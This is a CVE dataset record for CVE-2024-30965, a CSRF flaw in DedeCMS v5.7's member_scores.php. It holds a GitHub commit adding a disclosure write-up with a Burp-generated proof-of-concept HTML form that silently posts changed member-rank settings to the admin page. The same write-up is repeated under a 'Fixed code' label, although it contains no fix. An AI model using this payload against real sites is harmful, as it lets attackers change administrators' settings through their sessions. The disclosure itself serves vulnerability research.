CVE-2024-30965: Insufficient Information (NVD-CWE-noinfo)
value: DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /src/dede/member_scores.php.
CWE description: There is insufficient information about the issue to classify it; details are unkown or unspecified.
Published: 2024-04-02T14:15Z
Repository: https://github.com/Fishkey1/cms
Language: Markdown
Files changed: 1.md, README.md
Commit date: 2024-03-23 19:12:16 +0800
Commit message: Create 1.md
Diff: diff --git a/1.md b/1.md
new file mode 100644
index 0000000..a9a169c
--- /dev/null
+++ b/1.md
@@ -0,0 +1,81 @@
+target:https://github.com/wdsunwq/DedeCMSv5
+version: v5.7
+
+DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /src/dede/member_scores.php
+![1](https://github.com/Fishkey1/cms/assets/164625271/8b909b5c-a852-404f-90bb-23f97d296174)
+
+Poc:
+
+```
+<html>
+  <!-- CSRF PoC - generated by Burp Suite Professional -->
+  <body>
+  <script>history.pushState('', '', '/')</script>
+    <form action="http://127.0.0.1/src/dede/member_scores.php" method="POST">
+      <input type="hidden" name="action" value="save" />
+      <input type="hidden" name="integral&#45;2" value="0" />
+      <input type="hidden" name="icon&#45;2" value="1" />
+      <input type="hidden" name="titles&#45;2" value="�&#136;&#151;�&#133;�" />
+      <input type="hidden" name="isdefault&#45;2" value="1" />
+      <input type="hidden" name="integral&#45;3" value="1000" />
+      <input type="hidden" name="icon&#45;3" value="2" />
+      <input type="hidden" name="titles&#45;3" value="�&#143;&#173;�&#149;&#191;" />
+      <input type="hidden" name="isdefault&#45;3" value="1" />
+      <input type="hidden" name="integral&#45;4" value="2000" />
+      <input type="hidden" name="icon&#45;4" value="3" />
+      <input type="hidden" name="titles&#45;4" value="�&#176;&#145;�&#176;&#137;" />
+      <input type="hidden" name="isdefault&#45;4" value="1" />
+      <input type="hidden" name="integral&#45;5" value="3000" />
+      <input type="hidden" name="icon&#45;5" value="4" />
+      <input type="hidden" name="titles&#45;5" value="�&#184;&#173;�&#176;&#137;" />
+      <input type="hidden" name="isdefault&#45;5" value="1" />
+      <input type="hidden" name="integral&#45;6" value="4000" />
+      <input type="hidden" name="icon&#45;6" value="5" />
+      <input type="hidden" name="titles&#45;6" value="�&#184;&#138;�&#176;&#137;" />
+      <input type="hidden" name="isdefault&#45;6" value="1" />
+      <input type="hidden" name="integral&#45;7" value="5000" />
+      <input type="hidden" name="icon&#45;7" value="6" />
+      <input type="hidden" name="titles&#45;7" value="�&#176;&#145;�&#160;&#161;" />
+      <input type="hidden" name="isdefault&#45;7" value="1" />
+      <input type="hidden" name="integral&#45;8" value="6000" />
+      <input type="hidden" name="icon&#45;8" value="7" />
+      <input type="hidden" name="titles&#45;8" value="�&#184;&#173;�&#160;&#161;" />
+      <input type="hidden" name="isdefault&#45;8" value="1" />
+      <input type="hidden" name="integral&#45;9" value="9000" />
+      <input type="hidden" name="icon&#45;9" value="8" />
+      <input type="hidden" name="titles&#45;9" value="�&#184;&#138;�&#160;&#161;" />
+      <input type="hidden" name="isdefault&#45;9" value="1" />
+      <input type="hidden" name="integral&#45;10" value="14000" />
+      <input type="hidden" name="icon&#45;10" value="9" />
+      <input type="hidden" name="titles&#45;10" value="�&#176;&#145;�&#176;&#134;" />
+      <input type="hidden" name="isdefault&#45;10" value="1" />
+      <input type="hidden" name="integral&#45;11" value="19000" />
+      <input type="hidden" name="icon&#45;11" value="10" />
+      <input type="hidden" name="titles&#45;11" value="�&#184;&#173;�&#176;&#134;" />
+      <input type="hidden" name="isdefault&#45;11" value="1" />
+      <input type="hidden" name="integral&#45;12" value="24000" />
+      <input type="hidden" name="icon&#45;12" value="11" />
+      <input type="hidden" name="titles&#45;12" value="�&#184;&#138;�&#176;&#134;" />
+      <input type="hidden" name="isdefault&#45;12" value="1" />
+      <input type="hidden" name="integral&#45;15" value="29000" />
+      <input type="hidden" name="icon&#45;15" value="12" />
+      <input type="hidden" name="titles&#45;15" value="�&#164;&#167;�&#176;&#134;" />
+      <input type="hidden" name="isdefault&#45;15" value="1" />
+      <input type="hidden" name="add&#95;integral" value="" />
+      <input type="hidden" name="add&#95;icon" value="" />
+      <input type="hidden" name="add&#95;titles" value="" />
+      <input type="hidden" name="add&#95;isdefault" value="1" />
+      <input type="hidden" name="imageField" value="�&#143;&#144;浜&#164;" />
+      <input type="submit" value="Submit request" />
+    </form>
+  </body>
+</html>
+
+```
+![2](https://github.com/Fishkey1/cms/assets/164625271/0b369563-4226-4bc6-8075-6fc836dcb156)
+
+
+
+successed
+
+![3](https://github.com/Fishkey1/cms/assets/164625271/feb0c762-0a1b-4748-a477-5bb63358a1a5)
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..e6167f4
--- /dev/null
+++ b/README.md
@@ -0,0 +1 @@
+# cms
\ No newline at end of file

Fixed code: target:https://github.com/wdsunwq/DedeCMSv5
version: v5.7

DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /src/dede/member_scores.php
![1](https://github.com/Fishkey1/cms/assets/164625271/8b909b5c-a852-404f-90bb-23f97d296174)

Poc:

```
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/src/dede/member_scores.php" method="POST">
      <input type="hidden" name="action" value="save" />
      <input type="hidden" name="integral&#45;2" value="0" />
      <input type="hidden" name="icon&#45;2" value="1" />
      <input type="hidden" name="titles&#45;2" value="�&#136;&#151;�&#133;�" />
      <input type="hidden" name="isdefault&#45;2" value="1" />
      <input type="hidden" name="integral&#45;3" value="1000" />
      <input type="hidden" name="icon&#45;3" value="2" />
      <input type="hidden" name="titles&#45;3" value="�&#143;&#173;�&#149;&#191;" />
      <input type="hidden" name="isdefault&#45;3" value="1" />
      <input type="hidden" name="integral&#45;4" value="2000" />
      <input type="hidden" name="icon&#45;4" value="3" />
      <input type="hidden" name="titles&#45;4" value="�&#176;&#145;�&#176;&#137;" />
      <input type="hidden" name="isdefault&#45;4" value="1" />
      <input type="hidden" name="integral&#45;5" value="3000" />
      <input type="hidden" name="icon&#45;5" value="4" />
      <input type="hidden" name="titles&#45;5" value="�&#184;&#173;�&#176;&#137;" />
      <input type="hidden" name="isdefault&#45;5" value="1" />
      <input type="hidden" name="integral&#45;6" value="4000" />
      <input type="hidden" name="icon&#45;6" value="5" />
      <input type="hidden" name="titles&#45;6" value="�&#184;&#138;�&#176;&#137;" />
      <input type="hidden" name="isdefault&#45;6" value="1" />
      <input type="hidden" name="integral&#45;7" value="5000" />
      <input type="hidden" name="icon&#45;7" value="6" />
      <input type="hidden" name="titles&#45;7" value="�&#176;&#145;�&#160;&#161;" />
      <input type="hidden" name="isdefault&#45;7" value="1" />
      <input type="hidden" name="integral&#45;8" value="6000" />
      <input type="hidden" name="icon&#45;8" value="7" />
      <input type="hidden" name="titles&#45;8" value="�&#184;&#173;�&#160;&#161;" />
      <input type="hidden" name="isdefault&#45;8" value="1" />
      <input type="hidden" name="integral&#45;9" value="9000" />
      <input type="hidden" name="icon&#45;9" value="8" />
      <input type="hidden" name="titles&#45;9" value="�&#184;&#138;�&#160;&#161;" />
      <input type="hidden" name="isdefault&#45;9" value="1" />
      <input type="hidden" name="integral&#45;10" value="14000" />
      <input type="hidden" name="icon&#45;10" value="9" />
      <input type="hidden" name="titles&#45;10" value="�&#176;&#145;�&#176;&#134;" />
      <input type="hidden" name="isdefault&#45;10" value="1" />
      <input type="hidden" name="integral&#45;11" value="19000" />
      <input type="hidden" name="icon&#45;11" value="10" />
      <input type="hidden" name="titles&#45;11" value="�&#184;&#173;�&#176;&#134;" />
      <input type="hidden" name="isdefault&#45;11" value="1" />
      <input type="hidden" name="integral&#45;12" value="24000" />
      <input type="hidden" name="icon&#45;12" value="11" />
      <input type="hidden" name="titles&#45;12" value="�&#184;&#138;�&#176;&#134;" />
      <input type="hidden" name="isdefault&#45;12" value="1" />
      <input type="hidden" name="integral&#45;15" value="29000" />
      <input type="hidden" name="icon&#45;15" value="12" />
      <input type="hidden" name="titles&#45;15" value="�&#164;&#167;�&#176;&#134;" />
      <input type="hidden" name="isdefault&#45;15" value="1" />
      <input type="hidden" name="add&#95;integral" value="" />
      <input type="hidden" name="add&#95;icon" value="" />
      <input type="hidden" name="add&#95;titles" value="" />
      <input type="hidden" name="add&#95;isdefault" value="1" />
      <input type="hidden" name="imageField" value="�&#143;&#144;浜&#164;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

```
![2](https://github.com/Fishkey1/cms/assets/164625271/0b369563-4226-4bc6-8075-6fc836dcb156)



successed

![3](https://github.com/Fishkey1/cms/assets/164625271/feb0c762-0a1b-4748-a477-5bb63358a1a5)
# cms